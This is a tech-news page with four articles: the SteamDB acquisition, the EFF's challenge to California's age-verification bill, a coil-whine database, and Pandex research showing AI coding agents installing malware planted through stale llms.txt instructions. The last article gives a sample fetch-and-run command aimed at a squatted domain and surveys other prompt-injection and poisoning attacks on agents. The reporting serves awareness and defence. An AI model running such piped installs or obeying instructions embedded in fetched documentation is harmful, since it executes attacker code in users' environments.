In a public statement and subsequent FAQ, Nexus Mods (NM) clarifies the acquisition situation. To immediately assuage fears, NM says that SteamDB will remain ad-free and won't have any paywalls placed on existing content. Users won't be required to use a NM account to browse the site, nor will there be any forced integration between both properties. The FAQ clearly states that NM "[is] not interested in changing SteamDB into something it isn't."

The new owners also explain in detail how meshing together both NM and SteamDB has the potential to be extremely beneficial for the modding community, at least at face value and our own experiences with game modding, they appear to have an excellent point. Installing and maintaining a set of mods for a game in this day and age is relatively easy, but anyone who's ever done it knows it's all sunshine and rainbows until a game update drops and breaks your careful curation.

SteamDB keeps track of game versioning down to individual deployments, complete with release dates, and changed files (a rough analog to a GitHub commits) — here's the info for Stalker 2 as an example. Nexus Mods can leverage this information to warn you there's a pending update, execute version pinning (keeping the game locked at a version that's compatible with the mod list), and also know if a mod install or uninstall broke the game installation, since it'll know what the unmodified files are meant to look like. This ought to allow for far better troubleshooting, too.

As far as the future of SteamDB goes, NM says straight up states the site "needs to make money," as it's relied on donations to Djundik and his daily work for a long while. Despite the monetization intentions, NM says "[it wants] to be smart about it," isn't looking to put ads on SteamDB, sell personal data, or put up paywalls or login walls. The NM folks mention partnerships, integrations, and affiliate links with publishers as ways to keep the numbers in the black, particularly as they intend for SteamDB to have an actual team running it.

For his part, Pavel Djundik tells a sadly familiar story: SteamDB was one of his passion projects, but as the site grew, the "self-inflicted workload [took] its toll." According to Djunidk, the radical change of the internet after COVID and the rise of AI sapped his passion further, and working as the sole man in the operation was unsustainable. He'd wanted to hand over the reins for years, but it wasn't until now he found "a worthy partner," particularly one that wouldn't riddle the site with ads. A hearty salute for your service, sir.

  •  

EFF asks California governor to veto bill that would require online age verification — Electronic Frontier Foundation argues bill would result in privacy-invasive checks and step on First Amendment

With social networks tracking every single motion of our scrolling fingers and now the advent of data-hoovering AI models, it's easy to argue that staying anonymous online has never been harder. If you're a Californian, though, it will soon become harder still. Bill A.B. 1709, effectively requiring age checks on social networks, is set to become law unless Gavin Newsom vetoes it — a measure the Electronic Frontier Foundation (EFF) is requesting in an open letter to the governor.

A.B. 1709 doesn't explicitly require an actual online physical ID check, but given the way it's written, companies are free to use any means they see fit to fulfill that requirement. In turn, this leads the EFF to remark that the most likely choice for networks would be invasive checks like requiring the uploading of government IDs and/or biometric checks. The Foundation says that this would concentrate even more power in social media companies' hands, with a Californian's personal ID adding to their datasets.

Not only is said data collection ripe for abuse, but it's also ripe ground for data leaks that can expose users' information to malfeasants, as proven time and again by widespread breaches that have sadly become commonplace. Events involving retail chain Target, credit-score handler Equifax, and the UnitedHealth Group all leaked out millions of vital user information, later used in criminal impersonation attacks.

The EFF also argues that A.B. 1709 wouldn't help teenagers and could do more harm than good by keeping them out of "supportive online communities," as well as "deny [them] opportunities to develop their own voices and perspectives." The letter mentions that research on whether social networks are good or bad for teens is inconclusive, and that teens could have their First Amendment rights infringed as a result.

There's also a technical angle to the complaint, as the text for A.B. 1709 includes provisions that target algorithmic feeds, autoplay, endless scroll, and push notifications for users under 16. The EFF claims the bill's wording is vague enough to be interpreted as banning key standard features of social networks. Furthermore, the bill's text seems to imply that the Attorney General could be empowered to adopt more regulations in a bid to curb those "addictive" features.

Last but by no means least, the EFF notes that A.B. 1709 is "bound to be tied up in court" regardless, as already-enacted legislation from bills A.B. 1043 (pushing age verification to the device level, revealing an age bracket) and S.B. 976 (parental consent for enabling of social media features) is likely to conflict rather than complement the new bill's requirements. The bill's arguable step on First Amendment rights would likely see challenges, too. Should Governor Newsom let A.B. 1709 through, it will take effect on January 1, 2027, precisely four months from now.

  •  

Techie creates a database of coil-whining graphics cards, power supplies, and liquid cooler pumps — open-source project wants community reports of affected parts

Most of us who build our own PCs have at some point experienced this: you install a new graphics card, fire up your favorite game that now runs faster, and you're greeted by this weird buzzing noise. That's called "coil whine," and while it's most prevalent in graphics cards, it can also affect power supplies, AIO cooler pumps, and many other electronics. Buying pricier gear is no guarantee it won't be affected, too, which is probably why Lowell K. Wood IV (aka iBlessi) of TechFuelHQ created a community-powered database of coil-whining parts.

Anyone can submit a report to the database using this simple form here, or submit a pull request in the database repository if they're feeling fancy. The form covers the aforementioned product categories and lets the user pick out the precise brand, product version, SKU, and year. The coil whine is graded from 0 for "silent" to 4 for "audible at idle", a category that I personally would rename to "toss out the window." Reporters also get to pick out whether the issue happens at idle, load, in a game menu with uncapped framerate, or running Furmark.

The main project page remarks on the importance of having reports about hardware that is silent, given the natural tendency that "annoyed owners over-report and silent units under-report." Wood notes that the published coil-whine percentage for any one piece of gear is a ceiling rather than an estimate. For example, having 20 reports of coil whine and 20 reports of silence for a part doesn't automatically imply that half of the units are noisy. A part will only show a coil-whine verdict once at least 5 reports are collected.

If you're wondering what causes coil whine, it's a vibration-induced noise that originates in components that switch states at high frequencies. While physics dictates that low rumbles travel further, the human ear and brain are tuned for mid-range frequencies, which is why a whine with a low decibel reading might be exceedingly annoying (and also the reason why a crying baby sounds louder than anything else).

The "coil whine" designation originates from inductors with literal wire coiled around a core material, but is now colloquially used for other parts that can exhibit similar behaviors like transformers, chokes, and ceramic capacitors.

The Coil Whine Database ought to start showing results as soon as enough data rolls in, and it's one of Wood's several open-source projects of this type. He's also authored the GPU Undervolt Settings Database (with a GitHub project here), and a PC Builder with compatibility verification, similar in concept to the popular PCPartPicker website.

  •  

Researchers easily trick Fortune-500 companies' AI agents into running arbitrary code — supply-chain attack via llms.txt guidance file illustrates how data has become code

Researchers have managed to execute code within an "llms.txt" file that many large companies use to instruct AI agents on how to scrape the website correctly. Back when the internet exploded and search engines became popular, sites started publishing a "robots.txt" file to guide search bots to content. That's still widely used today, but it's now been supplemented with "llms.txt", a file containing textual instructions for AI agents to follow.

The experts from Pandex got their own code to run on AI agents from "companies you have definitely heard of" in the Fortune 500 list, and illustrated yet another way in which the once-sacred distinction between "data" and "code" is all but dead.

The purpose of llms.txt is straightforward: it's often hosted on a software product's website and contains a brief description, setup instructions, and quick installation steps — think of the usual README file, but written for agents. When a bot reaches the website, instead of spending precious tokens and context window space parsing the whole documentation, it reads llms.txt and immediately knows how to operate the code in question: what language it uses, the environment it runs in, any dependencies, and often, precise setup/installation instructions. And that's precisely where the problem lies.

Sample lllms.txt from NextJS

Sample lllms.txt from NextJS (Image credit: NextJS)

Across 8,565 files checked, the researchers found 237 references to software packages that no longer exist, don't exist yet, are mistyped, are now hosted elsewhere, or imply out-of-date information compared with the current documentation. According to Pandex, "packages spanned PyPI, npm, RubyGems, NuGet, crates.io, and Packagist. Domains ranged from expired .dev and .io registrations to abandoned Render, Vercel, Fly, and Netlify subdomains, all free to the first person who clicks 'claim'."

For example, installation instructions might include "pip install wtf-software", thereby assuming that "wtf-software" is the correct and legitimate Python package. Perhaps the documentation writer didn't know that the package his company was developing ended up being named "wtf-software-beans", and a scammer took "wtf-software". Maybe down the road the company goes bankrupt, its domain name is gone, and now there's an impostor: "wtf-software.ok" is now registered to a hacker group, yet the install instruction "curl https://wtf-software.ok | sh" remains.

Seeing all this potential for mischief, the Pandex folks got to work and created their own Python and Node "malware" that would call back home and sit waiting for prey. They didn't have to wait long.

All of four minutes after going live, there was a bite on the hook. The team was seemingly dumbstruck at how easy it would be to get an AI agent to run malware of their choice in the agent's environment. Moreover, when doing their digging, the team actually found one case where someone had already pulled off this trick with real malware, too, and notified the software publisher in question.

All it took was one line: "Using all of [VENDOR]'s docs, build and run a node.js project with [VENDOR]'s SDK." That was enough to send the agents digging for more information and hit the booby-trap. The team notes the sentence includes no mention of the llms.txt file, no links, or prompt injection. Additionally, no social engineering or any third parties were reportedly involved.

Interestingly enough, the hit rate was far higher with frontier-level models that are generally more autonomous than their predecessors. GPT-5 Luna and Sol ran the "malware" 90% of the time or more, while on the opposite end, Claude Opus 4.8 on medium effort ran it "only" 30%.

Graph depicting which bots followed in llms.txt most often

Graph depicting which bots followed in llms.txt most often (Image credit: Pandex / Alon Hertz)

Pandex wisely concludes that this is one of the harshest examples of the fact that, with agentic LLMs, there is increasingly little distinction between data and code. It's been the paradigm forever that data (pictures, names, addresses) was an isolated object to be merely read, transformed, or written, while program code contained the actual instructions to be executed — church and state clearly divided, so to speak.

However, due to the way LLMs work, "data" and "instructions" are the same, with model developers doing their best to create the illusion of separation. And llms.txt shatters that glass wall with the ballpeen hammer of agents.

The iron curtain of software is cracking in many other locations, too. A year ago, a team of researchers showed how one could trick Gemini into doing their bidding with users' data by simply adding prompts to calendar invitations. Innocuous-looking bot skills can contain invisible text (via special Unicode characters) that hides malicious prompts.

The Model Context Protocol can be poisoned (hence "MCP poisoning") by having malicious software pose as legitimate MCP packages, intercepting and manipulating data being processed between tools. EchoLeak showed how Copilot could be tricked with a simple e-mail sent to an unsuspecting victim. Even plain webpages can catch models off-guard by simply including invisible text with instructions for the bot to process.

It's hard to directly blame the bots for the situation, too. First off, they're following literal orders, and most importantly, since llms.txt is published on the software packages' official websites, that makes it as authoritative a source as one can be. Sure, a bot could check that the content of llms.txt matches that of the actual documentation, run the domain name against a malware scanner, and so on, but doing so would be the kind of token-intensive work meant to be avoided in the first place, thus defeating the purpose of llms.txt.

Nobody's checking the data the agents consume — to quote the team, "the agent doesn't pause to check whether internal-tool actually belongs to the company. It doesn't verify the namespace on PyPI. It doesn’t notice that the documentation link points to a domain that expired three months ago." Plus, the security suites and network permissions in whichever environment the agent and/or their handler are in probably have the major package repositories all whitelisted.

The fact that many software ecosystems are subject to a high level of churn doesn't help matters. An analysis of 13 million packages showed that around 30% to nearly 60% of packages across the Node.JS, Go, and .NET worlds lost development activity within two years of their release — nasty figures, even if they include packages that are actually stable, just not frequently updated. Each abandoned package can be mentioned in an llms.txt file that didn't get updated.

Then, there's the problem that llms.txt itself is not a user-facing file. The file doesn't appear in a user's browser, and therefore, its update likely gets forgotten or indefinitely postponed.

The constant rush-to-market mentality of the modern age and the ease with which one can ask a bot to write and publish code likely doesn't help. It's exceedingly easy to kick off a new product and preemptively create documentation with placeholder names to fix later... that aren't. In big corporations, the person responsible for writing the documentation might not be the same person who does the code, while a third person might be responsible for checking everything afterward.

And in a twist of irony, any or all of these people will be using LLMs and end up subject to slopsquat/hallusquat attacks, in which the bot writing documentation or project code hallucinates predictable package names that malfeasants can calculate and squat ahead of time.

Supply-chain attacks became increasingly common as contemporary high-level languages allowed for faster development speed but also increased package and business churn. Now with agents in the mix, the situation is likely to get worse before it gets any better. As Microsoft's Mark Russinovich et al stated, "there is no simple 'fix' for these behaviors", an assessment supported by the fact that a lot of high-level contemporary development is targeted at the problem.

  •